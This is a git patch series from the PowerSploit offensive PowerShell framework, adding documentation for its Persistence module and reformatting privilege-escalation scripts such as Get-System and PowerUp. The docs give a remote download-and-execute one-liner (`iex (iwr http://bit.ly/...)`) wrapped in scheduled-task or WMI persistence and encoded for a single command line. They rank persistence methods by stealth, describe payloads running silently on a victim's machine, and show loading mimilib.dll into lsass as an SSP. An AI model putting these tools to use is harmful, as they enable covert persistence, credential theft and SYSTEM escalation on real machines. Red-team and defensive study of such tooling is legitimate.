$FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - + [Byte[]] $lfanew = New-Object Byte[](4) - + # Read offset to the PE Header (will be read in reverse) $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - + $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | ForEach-Object { $_.ToString('X2') } ) -join '')) + # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - + # Read compiled architecture $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') + $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | ForEach-Object { $_.ToString('X2') } ) -join '') $FileStream.Close() - + if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { Throw 'Invalid PE header or unsupported architecture.' } - + if ($Architecture -eq '014C') { Write-Output '32-bit' @@ -875,7 +888,7 @@ into lsass, the dll must export SpLsaModeInitialize. # Get the dll filename without the extension. # This will be added to the registry. - $DllName = $Dll | % { % {($_ -split '\.')[0]} } + $DllName = $Dll | ForEach-Object { % {($_ -split '\.')[0]} } # Enumerate all of the currently installed SSPs $SecurityPackages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa -Name 'Security Packages' | @@ -928,7 +941,8 @@ into lsass, the dll must export SpLsaModeInitialize. if ([IntPtr]::Size -eq 4) { $StructSize = 20 - } else { + } + else { $StructSize = 24 } @@ -939,7 +953,8 @@ into lsass, the dll must export SpLsaModeInitialize. try { $Result = $Secur32::AddSecurityPackage($DllName, $StructPtr) - } catch { + } + catch { $HResult = $Error[0].Exception.InnerException.HResult Write-Warning "Runtime loading of the SSP failed. (0x$($HResult.ToString('X8')))" Write-Warning "Reason: $(([ComponentModel.Win32Exception] $HResult).Message)" @@ -948,34 +963,37 @@ into lsass, the dll must export SpLsaModeInitialize. if ($RuntimeSuccess) { Write-Verbose 'Installation and loading complete!' - } else { + } + else { Write-Verbose 'Installation complete! Reboot for changes to take effect.' } } -function Get-SecurityPackages +function Get-SecurityPackage { <# .SYNOPSIS Enumerates all loaded security packages (SSPs). -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None .DESCRIPTION -Get-SecurityPackages is a wrapper for secur32!EnumerateSecurityPackages. +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. It also parses the returned SecPkgInfo struct array. .EXAMPLE -Get-SecurityPackages +Get-SecurityPackage #> - [CmdletBinding()] Param() + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] + [CmdletBinding()] + Param() #region P/Invoke declarations for secur32.dll $DynAssembly = New-Object System.Reflection.AssemblyName('SSPI') @@ -1084,4 +1102,4 @@ Get-SecurityPackages $SecPackage } -} \ No newline at end of file +} diff --git a/docs/Persistence/Add-Persistence.md b/docs/Persistence/Add-Persistence.md new file mode 100755 index 00000000..bdd14fb1 --- /dev/null +++ b/docs/Persistence/Add-Persistence.md @@ -0,0 +1,227 @@ +# Add-Persistence + +## SYNOPSIS +Add persistence capabilities to a script. + +PowerSploit Function: Add-Persistence +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption +Optional Dependencies: None + +## SYNTAX + +### ScriptBlock +``` +Add-Persistence -ScriptBlock -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +### FilePath +``` +Add-Persistence -FilePath -ElevatedPersistenceOption -UserPersistenceOption + [-PersistenceScriptName ] [-PersistentScriptFilePath ] [-RemovalScriptFilePath ] + [-DoNotPersistImmediately] [-PassThru] +``` + +## DESCRIPTION +Add-Persistence will add persistence capabilities to any script or scriptblock. +This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose + +Description +----------- +Creates a script containing the contents of EvilPayload.ps1 that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) } +``` + +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\EncodedPersistentScript.ps1 + +Description +----------- +Creates a script containing the contents of the provided scriptblock that when executed with the '-Persist' switch will persist the payload using its respective persistence mechanism (user-mode vs. +elevated) determined at runtime. +The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement. +The final, encoded output is finally saved to .\EncodedPersistentScript.ps1 + +## PARAMETERS + +### -ScriptBlock +Specifies a scriptblock containing your payload. + +```yaml +Type: ScriptBlock +Parameter Sets: ScriptBlock +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -FilePath +Specifies the path to your payload. + +```yaml +Type: String +Parameter Sets: FilePath +Aliases: Path + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ElevatedPersistenceOption +Specifies the trigger for the persistent payload if the target is running elevated. +You must run New-ElevatedPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserPersistenceOption +Specifies the trigger for the persistent payload if the target is not running elevated. +You must run New-UserPersistenceOption to generate this argument. + +```yaml +Type: Object +Parameter Sets: (All) +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistenceScriptName +Specifies the name of the function that will wrap the original payload. +The default value is 'Update-Windows'. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Update-Windows +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PersistentScriptFilePath +Specifies the path where you would like to output the persistence script. +By default, Add-Persistence will write the removal script to 'Persistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\Persistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -RemovalScriptFilePath +Specifies the path where you would like to output a script that will remove the persistent payload. +By default, Add-Persistence will write the removal script to 'RemovePersistence.ps1' in the current directory. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: "$PWD\RemovePersistence.ps1" +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -DoNotPersistImmediately +Output only the wrapper function for the original payload. +By default, Add-Persistence will output a script that will automatically attempt to persist (e.g. +it will end with 'Update-Windows -Persist'). +If you are in a position where you are running in memory but want to persist at a later time, use this option. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -PassThru +Outputs the contents of the persistent script to the pipeline. +This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +### None + +Add-Persistence cannot receive any input from the pipeline. + +## OUTPUTS + +### System.Management.Automation.ScriptBlock + +If the '-PassThru' switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script. + +## NOTES +When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim's machine. + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/Get-SecurityPackage.md b/docs/Persistence/Get-SecurityPackage.md new file mode 100755 index 00000000..2a0cdef4 --- /dev/null +++ b/docs/Persistence/Get-SecurityPackage.md @@ -0,0 +1,37 @@ +# Get-SecurityPackage + +## SYNOPSIS +Enumerates all loaded security packages (SSPs). + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Get-SecurityPackage +``` + +## DESCRIPTION +Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages. +It also parses the returned SecPkgInfo struct array. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Get-SecurityPackage +``` + +## PARAMETERS + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + diff --git a/docs/Persistence/Install-SSP.md b/docs/Persistence/Install-SSP.md new file mode 100755 index 00000000..99193c04 --- /dev/null +++ b/docs/Persistence/Install-SSP.md @@ -0,0 +1,60 @@ +# Install-SSP + +## SYNOPSIS +Installs a security support provider (SSP) dll. + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +``` +Install-SSP [[-Path] ] +``` + +## DESCRIPTION +Install-SSP installs an SSP dll. +Installation involves copying the dll to +%windir%\System32 and adding the name of the dll to +HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Install-SSP -Path .\mimilib.dll +``` + +## PARAMETERS + +### -Path +{{Fill Path Description}} + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES +The SSP dll must match the OS architecture. +i.e. +You must have a 64-bit SSP dll +if you are running a 64-bit OS. +In order for the SSP dll to be loaded properly +into lsass, the dll must export SpLsaModeInitialize. + +## RELATED LINKS + diff --git a/docs/Persistence/New-ElevatedPersistenceOption.md b/docs/Persistence/New-ElevatedPersistenceOption.md new file mode 100755 index 00000000..efe215d8 --- /dev/null +++ b/docs/Persistence/New-ElevatedPersistenceOption.md @@ -0,0 +1,235 @@ +# New-ElevatedPersistenceOption + +## SYNOPSIS +Configure elevated persistence options for the Add-Persistence function. + +PowerSploit Function: New-ElevatedPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### PermanentWMIAtStartup +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-AtStartup] +``` + +### PermanentWMIDaily +``` +New-ElevatedPersistenceOption [-PermanentWMI] [-Daily] -At +``` + +### ScheduledTaskOnIdle +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskAtLogon +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-AtLogon] +``` + +### ScheduledTaskHourly +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-ElevatedPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-ElevatedPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-ElevatedPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM' +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup +``` + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -PermanentWMI +Persist via a permanent WMI event subscription. +This option will be the most difficult to detect and remove. + +Detection Difficulty: Difficult +Removal Difficulty: Difficult +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup, PermanentWMIDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskAtLogon, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskAtLogon, Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtStartup +Starts the payload within 240 and 325 seconds of computer startup. + +```yaml +Type: SwitchParameter +Parameter Sets: PermanentWMIAtStartup +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/Persistence/New-UserPersistenceOption.md b/docs/Persistence/New-UserPersistenceOption.md new file mode 100755 index 00000000..c7c020f0 --- /dev/null +++ b/docs/Persistence/New-UserPersistenceOption.md @@ -0,0 +1,179 @@ +# New-UserPersistenceOption + +## SYNOPSIS +Configure user-level persistence options for the Add-Persistence function. + +PowerSploit Function: New-UserPersistenceOption +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +## SYNTAX + +### ScheduledTaskOnIdle +``` +New-UserPersistenceOption [-ScheduledTask] [-OnIdle] +``` + +### ScheduledTaskHourly +``` +New-UserPersistenceOption [-ScheduledTask] [-Hourly] +``` + +### ScheduledTaskDaily +``` +New-UserPersistenceOption [-ScheduledTask] [-Daily] -At +``` + +### Registry +``` +New-UserPersistenceOption [-Registry] [-AtLogon] +``` + +## DESCRIPTION +New-UserPersistenceOption allows for the configuration of elevated persistence options. +The output of this function is a required parameter of Add-Persistence. +Available persitence options in order of stealth are the following: scheduled task, registry. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -Registry -AtLogon +``` + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle +``` + +## PARAMETERS + +### -ScheduledTask +Persist via a scheduled task. + +Detection Difficulty: Moderate +Removal Difficulty: Moderate +User Detectable? +No + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskHourly, ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Registry +Persist via the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run registry key. +Note: This option will briefly pop up a PowerShell console to the user. + +Detection Difficulty: Easy +Removal Difficulty: Easy +User Detectable? +Yes + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Daily +Starts the payload daily. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Hourly +Starts the payload hourly. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskHourly +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -At +Starts the payload at the specified time. +You may specify times in the following formats: '12:31 AM', '2 AM', '23:00:00', or '4:06:26 PM'. + +```yaml +Type: DateTime +Parameter Sets: ScheduledTaskDaily +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -OnIdle +Starts the payload after one minute of idling. + +```yaml +Type: SwitchParameter +Parameter Sets: ScheduledTaskOnIdle +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -AtLogon +Starts the payload upon any user logon. + +```yaml +Type: SwitchParameter +Parameter Sets: Registry +Aliases: + +Required: True +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +## NOTES + +## RELATED LINKS + +[http://www.exploit-monday.com](http://www.exploit-monday.com) + diff --git a/docs/index.md b/docs/index.md index 8cd53ea5..ac37071e 100644 --- a/docs/index.md +++ b/docs/index.md @@ -25,7 +25,7 @@ Add persistence capabilities to a PowerShell script. New-ElevatedPersistenceOption - Configure elevated persistence options for the Add-Persistence function. Add-Persistence - Add persistence capabilities to a script. Install-SSP - Installs a security support provider (SSP) dll. - Get-SecurityPackages - Enumerates all loaded security packages (SSPs). + Get-SecurityPackage - Enumerates all loaded security packages (SSPs). ### AntivirusBypass AV doesn't stand a chance against PowerShell! diff --git a/mkdocs.yml b/mkdocs.yml index 8012ab0f..a0838fd2 100644 --- a/mkdocs.yml +++ b/mkdocs.yml @@ -132,3 +132,10 @@ pages: - Functions: - Set-MasterBootRecord: 'Mayhem/Set-MasterBootRecord.md' - Set-CriticalProcess: 'Mayhem/Set-CriticalProcess.md' +- Persistence: + - Functions: + - New-ElevatedPersistenceOption: 'Persistence/New-ElevatedPersistenceOption.md' + - New-UserPersistenceOption: 'Persistence/New-UserPersistenceOption.md' + - Add-Persistence: 'Persistence/Add-Persistence.md' + - Install-SSP: 'Persistence/Install-SSP.md' + - Get-SecurityPackage: 'Persistence/Get-SecurityPackage.md' From 9ed26d65a883ad35962b1aaa9a6c57d3d3403cb0 Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:25:15 -0500 Subject: [PATCH 223/296] removed whitespace --- Privesc/Get-System.ps1 | 32 ++++++++++++++++---------------- Privesc/PowerUp.ps1 | 20 +++++++++++--------- 2 files changed, 27 insertions(+), 25 deletions(-) diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 index c48698c4..fdb41d00 100644 --- a/Privesc/Get-System.ps1 +++ b/Privesc/Get-System.ps1 @@ -111,11 +111,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ Param ( [OutputType([Type])] - + [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), - + [Parameter( Position = 1 )] [Type] $ReturnType = [Void] @@ -130,7 +130,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') - + Write-Output $TypeBuilder.CreateType() } @@ -140,11 +140,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ Param ( [OutputType([IntPtr])] - + [Parameter( Position = 0, Mandatory = $True )] [String] $Module, - + [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure @@ -161,7 +161,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - + # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } @@ -190,7 +190,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() # Declare/setup all the needed API function - # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) @@ -202,11 +202,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) - + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) - + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) @@ -298,8 +298,8 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ else{ Write-Verbose '[Get-System] Service successfully deleted' } - - # Step 7 - CloseServiceHandle() for the service handle + + # Step 7 - CloseServiceHandle() for the service handle Write-Verbose '[Get-System] Closing the service handle' $val = $CloseServiceHandle.Invoke($ServiceHandle) Write-Verbose '[Get-System] Service handle closed off' @@ -458,7 +458,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), [Runtime.InteropServices.CallingConvention]::Winapi, 'Auto').SetCustomAttribute($AttribBuilder) - + $Win32Methods = $Win32TypeBuilder.CreateType() $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} @@ -466,7 +466,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ 'GetCurrentProcess', [Reflection.BindingFlags] 'NonPublic, Static' ) - + $SE_PRIVILEGE_ENABLED = 0x00000002 $STANDARD_RIGHTS_REQUIRED = 0x000F0000 # $STANDARD_RIGHTS_READ = 0x00020000 @@ -509,7 +509,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ if(-not($RetVal)) { Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop } - + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { @@ -532,10 +532,10 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ Write-Verbose "[Get-System] error enumerating handle: $_" } } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 - + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { Write-Error '[Get-System] Unable to obtain a handle to a system process.' - } + } else { [IntPtr]$SystemToken = [IntPtr]::Zero $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 8ad90444..9c3d622d 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -1,11 +1,13 @@ <# - PowerUp aims to be a clearinghouse of common Windows privilege escalation - vectors that rely on misconfigurations. See README.md for more information. - Author: @harmj0y - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. See README.md for more information. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + #> #Requires -Version 2 @@ -851,7 +853,7 @@ a modifiable path. } else { # if the path doesn't exist, check if the parent folder allows for modification - $ParentPath = Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue + $ParentPath = Split-Path -Path $TempPath -Parent -ErrorAction SilentlyContinue if ($ParentPath -and (Test-Path -Path $ParentPath)) { $CandidatePaths += Resolve-Path -Path $ParentPath -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Path } @@ -4480,7 +4482,7 @@ https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptByp Param( [String] $sSource, - + [String] $sTarget ) @@ -4638,7 +4640,7 @@ https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptByp Invoke-WscriptElevate } } - else { + else { Write-Warning '[!] Target machine is not vulnerable.' } } From 59e6f94e763d40614284d43823a391cafd384c4c Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Wed, 14 Dec 2016 18:50:58 -0500 Subject: [PATCH 224/296] For ./ScriptModification/ : -PSScriptAnalyzering -Tweaking of synopsis blocks in order to support platyPS -Code standardization -Generated docs --- README.md | 2 +- ScriptModification/Out-CompressedDll.ps1 | 20 +- ScriptModification/Out-EncodedCommand.ps1 | 19 +- ScriptModification/Out-EncryptedScript.ps1 | 42 ++-- ...Remove-Comments.ps1 => Remove-Comment.ps1} | 30 +-- ScriptModification/ScriptModification.psd1 | 2 +- docs/ScriptModification/Out-CompressedDll.md | 60 ++++++ docs/ScriptModification/Out-EncodedCommand.md | 186 ++++++++++++++++++ .../ScriptModification/Out-EncryptedScript.md | 148 ++++++++++++++ docs/ScriptModification/Remove-Comment.md | 110 +++++++++++ docs/index.md | 2 +- mkdocs.yml | 6 + 12 files changed, 574 insertions(+), 53 deletions(-) rename ScriptModification/{Remove-Comments.ps1 => Remove-Comment.ps1} (80%) create mode 100755 docs/ScriptModification/Out-CompressedDll.md create mode 100755 docs/ScriptModification/Out-EncodedCommand.md create mode 100755 docs/ScriptModification/Out-EncryptedScript.md create mode 100755 docs/ScriptModification/Remove-Comment.md diff --git a/README.md b/README.md index 60ac90fa..5ec68924 100644 --- a/README.md +++ b/README.md @@ -36,7 +36,7 @@ Compresses, Base-64 encodes, and outputs generated code to load a managed dll in Encrypts text files/scripts. -#### `Remove-Comments` +#### `Remove-Comment` Strips comments and extra whitespace from a script. diff --git a/ScriptModification/Out-CompressedDll.ps1 b/ScriptModification/Out-CompressedDll.ps1 index 5e6897d9..86089564 100644 --- a/ScriptModification/Out-CompressedDll.ps1 +++ b/ScriptModification/Out-CompressedDll.ps1 @@ -5,12 +5,12 @@ function Out-CompressedDll Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. -PowerSploit Function: Out-CompressedDll -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - +PowerSploit Function: Out-CompressedDll +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION Out-CompressedDll outputs code that loads a compressed representation of a managed dll in memory as a byte array. @@ -21,7 +21,7 @@ Specifies the path to a managed executable. .EXAMPLE -C:\PS> Out-CompressedDll -FilePath evil.dll +Out-CompressedDll -FilePath evil.dll Description ----------- @@ -36,7 +36,9 @@ Only pure MSIL-based 